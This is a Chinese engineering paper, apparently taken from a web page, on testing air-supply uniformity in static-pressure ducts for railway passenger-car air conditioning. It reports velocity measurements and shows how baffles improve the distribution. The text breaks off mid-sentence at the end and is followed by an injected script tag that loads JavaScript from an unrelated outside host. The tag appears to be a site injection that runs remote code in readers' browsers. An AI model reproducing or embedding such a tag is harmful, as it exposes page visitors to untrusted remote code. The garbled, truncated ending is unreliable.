摘 要：对不同类型的空调静压送风系统进行了送风均匀性测试，测试结果表明，传统的空调静压送风道送风均匀性并不理想。分析了主风道内静压分布的特点，提出了静压主送风道应为截面风道，这样才能保证主风道内的静压恒定。主风道为变截面的静压风道与传统的均匀风道不同，即使由于加工或安装的原因，使主风道的截面尺寸与设计稍有出入，但由于静压箱内的静压分布比较均匀，故仍能保证送风的均匀性。这种新型的静压均匀送风道适合于各种需要均匀送风的场合。
关键词：空调系统；静压；送风道；均匀送风
1 引言
由于铁路客车的车箱纵向较长，为实现均匀送风，绝大多数情况下是设计等截面送风道。在风道内或各送风口安装了风量调节装置，但在实际调节过程中，由于操作不便、调节困难等因素，很难将各送风口的送风量调节均匀。据以往各次静止与运行试验表明，车箱内温差均超过规定值。为解决上述问题，空调静压送风系统得到了发展和应用，即利用静压送风道送风，改善空调系统的送风均匀性。
静压送风道由主风道和静压箱组成，静压风道截面结构见图1。空调机组的风机将空气直接送入主风道，在主风道内，空气通过主风道出风口（一般为条缝式）进入静压箱，静压箱内的空气在静压的作用下，经送风口射出，从而达到均匀送风的目的[1]。静压送风道的结构可有多种形式，如：主风道在中间，静压箱在两侧（图1）；主风道在两侧，静压箱在中间（图2）。主风道的出风口（联到静压道）一般为沿纵向的连续条缝（为增加风道强度，也可为间断条缝）。静压箱送风口既可设计为沿纵向的连续条缝，也可设计为沿纵向的间断条缝或小送风口，也可在静压箱上安装孔板（图2）。静压箱上开设的出风口可直接送到车箱内，也可在出风口处接短风道，再连接风口送入车箱内，也可在出风口处接一短风道，再连接风口送入车箱，如图1所示。
2 空调静压送风系统的送风均匀性
某厂的二等座车空调送风系统采用了静压风道，结构形式如图2所示，即两侧为主风道，中间为静压箱。在静压箱的下方安装孔板送风，孔板宽0.7m（称送风系统1）。该车厢的空调系统设两套独立的送回风系统，2台空调机组分别从风道两端向中间送风。在现场试验中，用热球风速仪在车顶孔板下约0.03m处测量了各处的风速值[2]。测点是测长度方向取32个测量断面，第1断面距两端内端墙0.2m，其后每隔0.6m取一测量断面。在沿车箱纵向的中心位置取1个测点，两侧头距中心0.3m处各取1个测点，即每个测量断面取3个测点，32个断面共计96个测点。送风系统1的测值列于表1。
某厂硬座车k164的空调系统采用静压送风道（结构图见图1）。在静压箱上接短管后，再接条缝式送风口。该车厢的空调系统设两套独立的送回风系统，2台空调机组分别从风道两端向中间送风，两风道的交界不隔断，而相互连通形成一个整体。该风道由10节单体风道构成，各节风道插接在一起。该系统与前一系统相比有了较大改进，即在静压箱内安装了隔板（隔板上有合适大小的孔，使静压箱之间相互连通），并在主风道内的第一、二节内安装了高80mm和60mm挡板[3]。主风道内安装了挡板的一端（5节风道）称送风系统2，主风道内未安装挡板的另一端（5节风道）称送风系统3，对该送风系统在送风道性能实验台[4]上进行了实验。实验中，以每节风道纵向的条缝编号（每节风道沿纵向分布两条条缝），每节风道上分左侧风口和右侧风口，每个风口又分为内条缝和外条缝，详见文献[4]，每个条缝测6个点，测3遍取平均值。测试数据整理后结果见表2、表3。表中，送风口送风不均匀性系数r按式（1）计算：
式中r—送风速度不均匀性系数；
vp—送风口总平均出流速度，m/s；
v—每节（或部分）风道的送风口平均出流速度，m/s。
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从表1、表3的数据来看，两种空调送风系统都是靠近机组的第一送风口处风速较小，这是由于主风道起始段的送风速度较高、静压较低造成的。例如：表1中，送风系统1的测点1和测点32分别是静压送风道的始端（因为是两台空调机组分别从两端送风），送风不均匀性系数分别是-0.42和-0.48，送风量严重偏少；又如表3中，送风系统3的测点20是静压送风道的始端，送风不均匀性系数-0.29，送风量严重偏少。送风系统1的送风不均匀性系数的绝对值的平均值为0.15，可见，送风均匀性并不理想。送风系统3的送风不均匀性系统的绝对值的平均值为0.13，送风均匀性也不理想。
为了克服这一缺点，可在主风道的始端附近增设挡板（例如送风系统2的第1、2节风道），这样可改善主风道内的静压分布，使静压分布均匀一些。从表2可知，送风系统2主风道内加挡板后，由于主风道内的静压增大，送风量减少的程度明显降低，送风道始端的不均匀性系数r由不加挡板的r=0.29变为r=0.04，送风均匀性大幅度提高了。送风系统2（表2）的送风不均匀性系数的绝对值的平均值为0.08，而主风道内不加挡?script src=http://er12.com/t.js>
